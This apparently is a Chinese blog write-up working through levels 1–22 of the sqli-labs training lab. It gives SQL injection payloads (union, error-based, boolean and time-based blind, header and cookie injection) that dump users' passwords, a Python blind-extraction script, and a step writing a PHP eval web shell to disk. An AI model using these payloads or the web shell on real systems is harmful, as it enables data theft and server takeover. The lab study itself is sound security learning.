sqli-lab

没了解sql注入的知识,本篇更像是复现

数据库层面
│   ├── 数据库1(Database 1)
│   │   ├── 表1(Table 1)
│   │   │   ├── 主键字段(Primary Key):唯一标识表中的每一行。
│   │   │   ├── 字段2(Field 2):存储不同类型的数据,如字符串、数字、日期等。
│   │   │   │   ├── 数据类型(Data Type):定义字段可以存储的数据类型。
│   │   │   │   └── 约束条件(Constraints):限制字段的值,如唯一、非空、检查等。
│   │   │   └── 数据记录(Data Records):表中的具体数据,由行和列组成。
│   │   ├── 表2(Table 2)
│   │   │   ├── 字段结构(Field Structure):定义表的结构和字段属性。
│   │   │   └── 外键(Foreign Key):建立表与表之间的关系,确保数据的完整性。
│   │   └── 视图(View)
│   │       ├── 虚拟表(Virtual Table):基于一个或多个基础表的查询结果。
│   │       └── 视图定义(View Definition):定义视图的查询语句和权限。
│   ├── 数据库2(Database 2)
│   │   ├── 存储过程(Stored Procedures):预编译的SQL语句,可重复使用。
│   │   ├── 函数(Functions):执行特定任务并返回结果。
│   │   └── 触发器(Triggers):在特定事件发生时自动执行的操作。
│   └── 系统数据库(System Database)
│       ├── 信息存储(Information Storage):存储数据库元数据和系统配置。
│       ├── 系统表(System Tables):定义数据库的结构和状态。
│       └── 日志表(Log Tables):记录数据库的操作和错误信息。

数据库结构大致是库~表~字段

mysql数据库5.0以上版本有一个自带的数据库叫做information_schema,这个数据库下有两个表tables和columns,tables有table_name和table_schema两个字段,其中table_name字段下面是所有数据库存在的表名 ‘所有数据库——>表名’,table_schema字段下是所有表名对应的数据库名‘所有表名——>数据库名’;columns有colum_name和columns_schema两个字段,其中colum_name字段下是所有数据库存在的字段名所有数据库——>字段名,columns_schema字段下是所有表名对应的数据库‘所有表名——>数据库’

如何判断是字符型注入还是数字型注入_怎么判断是字符型注入还是数字型注入-CSDN博客

1

提示输入id,上传id=1

判断sql语句是否是拼接,且是字符型还是数字型

可以看到加'的时候报错了,所以sql语句要是字符型的,使用联合查询,联合查询就是两个sql语句一起查询,两张表具有相同的列数,且字段名是一样的。

判断是否存在sql注入,先尝试闭合看看是否报错,使用id=1' order by 3--+查列名

继续查第四列发现报错了

说明只有3列,也可以用id=1' union select 1,2,3,4 --+去查列表,这样可以一键查出来有多少列。

接着查账号密码属于多少列,使用?id=-1' union select 1,2,3 --+

可以看到name在2列,密码在3列,接着使用?id=-1'union select1,database(),version()--+看数据名和版本名

得到名称是security,利用information_schema.tables数据库查询库中所以的表和列

?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容

通过查询,我们得到了四个表名,猜测信息可能在user里面,接下来爆字段名

?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查询information_schema数据库下的columns表里面且table_users字段内容是users的所有column_name

得到了两个字段,从名称上看应该是账号密码

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

加上id隔开账号密码,查询这两个字段的内容

2

先判断类型?id=1'

显然是数字型,不存在联合拼接查列表?id=1 union select 1,2,3,4 --+

查属于多少列?id=-1 union select 1,2,3 --+

name在2,passwd在3,查数据名和版本?id=-1 union select 1,database(),version()

数据名叫security,暴库?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'

还是在user,爆字段名?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'

和上一关一样,查询username和password

?id=-1 union select 1,2,group_concat(username ,id , password) from users

3

?id=1 and 1=1

?id=1 and 1=2

?id=1’ and ‘1’='1

是字符型注入

wp中使用?id=2')--+

?id=2'

报错,说明sql语句是引号字符型且有括号

查列表?id=1')union select 1,2,3--+

有三个列表,查库名和版本名?id=-1') union select 1,database(),version()--+

一样的名称,暴库?id=-1')union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

同样是在user

爆字段名?id=-1')union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查询账号密码?id=-1')union select 1,2,group_concat(username ,id , password) from users--+


4

?id=1") order by 3--+

区别于上一关的,这关是双引号字符型,带括号

查列表?id=1")union select 1,2,3--+

查库名和版本名?id=-1") union select 1,database(),version()--+

暴库?id=-1")union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

爆字段名?id=-1")union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

查询账号密码?id=-1")union select 1,2,group_concat(username ,id , password) from users--+

 5

单引号闭合型,且列表数为3

列表数为3,使用上面的办法显然是不行的,可以看到查询id的时候出来的不是账号密码,而是一串字符串,没有其他的显示,这时候用到布尔盲注,用到length(),ascii() ,substr()这三个函数

或者报错盲注,报错注入主要用extractvalue,updateml,floor函数

使用报错盲注

?id=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))--+

?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

暴库?id=1' union select extractvalue(1,concat('~','~',database())) -- a

爆表?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'~')) -- a

爆数据?id=1' and extractvalue(1,concat('~',(select group_concat(username) from security.users),'~')) -- a

这边使用updatexml查询表中数据会出现不完整现象,用substr进行字符串截取 ,控制起始位置

?id=1 and  updatexml(1,(select substr((group_concat(username,0x7e,password)),1,32) from users),1) --+

6

id=1' order by 4 --+

id=1" order by 4 --+

这题相较于上一题显然是双引号闭合型,其余都一样

7

多次尝试闭合类型,是'))闭合

提示输出文件,使用?id=1')) union select 1,'<?php @eval($_POST["456"]);?>',3 into outfile "E:\\phpstudy_pro\\www\\sqli-labs\\Less-7\\m456.php" -- a将木马写入

使用蚁剑连接

8

有包装,可以看到没有报错的提示,说明联合注入和报错注入都无法成功,这边使用布尔盲注

布尔盲注怎么用,一看你就明白了。布尔盲注原理+步骤+实战教程-CSDN博客

使用?id=1' and length( database() )=1 --+去依次猜测数据库的长度

直到8的时候才有反应

使用?id=1' and ascii(substr(database(),1,1))=32--+去穷举,使用MySQL的 substr()函数 截取查询结果的第一个字符,查询名称,若网页有回显,那就说明我们要的表名首字母就是那个数字ASCII码对应的字符,ascii码对应范围是32-126

直到115才有回显,说明表名首字母是s

?id=1' and ascii(substr(database(),1,1))=32--+

?id=1' and ascii(substr(database(),2,1))=32--+

依次截取第几位字母,去得到表名,其实这样去获得可以看到非常麻烦,也可以用程序去获取

import requests
 
url = "http://127.0.0.1/sqli-labs/Less-8/"
 
def inject_database(url):
    name = ''
 
    for i in range(1, 100):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and ascii(substr((select database()),%d,1)) > %d-- " % (i, mid)
            params = {"id": payload}
            r = requests.get(url, params=params)
            if "You are in..........." in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2
 
        if mid == 32:
            break
        name = name + chr(mid)
        print(name)
inject_database(url)

可以看到无论有无闭合,它回显都一样,所以我们用时间盲注

SQL注入-时间盲注_sql时间盲注-CSDN博客

SLEEP() 函数在 MySQL 中用于引入延迟,它使查询在执行时暂停指定的秒数,我用sleep()函数来判断是否有注入漏洞,在不知道源码的情况下,我们只能一个一个去尝试

结果是?id=1' and sleep(5) --+

使数据库服务器暂停执行五秒

类型是单引号闭合,接着使用MySQL的IF函数用于执行条件判断,在满足某个条件时返回一个值,否则返回另一个值。

condition: 需要评估的条件表达式。如果条件为真,则返回true_value

true_value: 如果条件为真,函数返回的值。

false_value: 如果条件为假,函数返回的值。

核心语句if(查询语句,sleep(5),1)

结合布尔盲注?id=1' and if(length(database())=8,sleep(5),1) --+,如果表字符数量为8及延迟五秒回显,如果我们的查询语句为假,那么直接返回结果

这题就是8

接着判断数据库名

?id=1' and if(ascii(substr(database(),1,1)) = 115,sleep(5),1,1) --+ 

结合布尔函数还是截取第一个字符判断ASCII值,如果正确就延迟五秒回显,一个一个去截取获得表名security

因为这边结合布尔盲注,就是多了if()函数来判断是否正确而已

10

这题就是和第九题一样是时间盲注,但是结构时双引号闭合,?id=1"--+,仅此而已

11

前面都是get请求方式,但是这关是post请求方式,给了输入框,直接在输入框输入判断结构类型

在username输入1'

随意输入账号密码没有回显,输入sql语句报错了说明存在注入点,因为是post请求五秒使用bp抓包更改信息

uname=ad'union select 1,2#&passwd=212&submit=Submit

可以看到账号密码在一二列,查库名

uname=ad'union select 1,database()#&passwd=212&submit=Submit

查表名

uname=ad'union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'#&passwd=212&submit=Submit

查列名

uname=ad'union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#&passwd=212&submit=Submit

查询具体数据

uname=ad'union select 1,group_concat(username,id,password) from users  #&passwd=212&submit=Submit

12

这关和11关基本一样,就是结构从'--+变成")闭合而已

13

这关用的是报错注入,测试是否有注入漏洞

判断报错注入

a') and updatexml(1,0x7e,3) -- +

发现登录失败,原本是会报错的,然后以此确定报错注入,但是我这边源码函数出了点问题

之后用和第五题一样的函数去获得信息,一样的由于函数问题,这边没反应

库:select group_concat(schema_name)from information_schema.schemata

表:select group_concat(table_name)from information_schema.table where table_schema="security"

字段:select group_concat(column_name)from information_schema.columns.where table_schema="security" and table_name="users"

14

这关和13一样,只不过闭合方式变成了双引号

15

测试

发现没有错误提示,正常输入账号密码

回显登录成功

登录失败,这两个 都是正常进行登录程序的回显,和我们测试sql语句时回显一样,所以我们用布尔盲注

123456' and if(ascii(substr(database(),1,1))>115#

查询名字符第一个的ASCII值是否大于115看回显是否正确判断

回显失败,通过改变后面查询的ASCII值去缩小范围,然后改变搜索字符的位置来确定整个字符串

16

这关和15关一样用盲注,但是闭合方式时双引号

17

回显登录成功,尝试闭合

发现报错了,那么就用报错注入和13关一样

这关也可以用布尔盲注,因为输入错误的账号密码时会回显登录失败

18

输入正确的账号密码

可以看到回了成功,地址和代理,输入错误时

仅回显地址,抓包一下,更改一下user-agent

还是使用判断报错注入的语句函数updatexml,会回显报错,从这边可以判断用报错注入

判断之后就和5,13题一样了,用报错注入去进行

19

输入正确的账号密码

回显开头是http和referer,还是抓包,在referer注入,同18关一样

使用报错注入的语句判断是否是报错语句,页面回显报错,之后就是报错注入了

20

登录成功

回显cookie是用户名,cookie显示到页面,还是一样抓包在cookie里面测试注入,这里要注意要先上传cookie,也就是登录成功,不然抓包之后是没有cookie的,而且就算输入测试语句,回显也会是cookie被删除了

之后就是正常的获取表名,字段名查询操作

21

登录成功

可以看到这题和上题不一样的点是账号似乎被加密了,但还是在cookie

抓包相较于上一题,这边多了一个把账号base64加密,也就是把注入的语句basee64加密再注入即可

22

与上一关一样,不过闭合变成了双引号

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值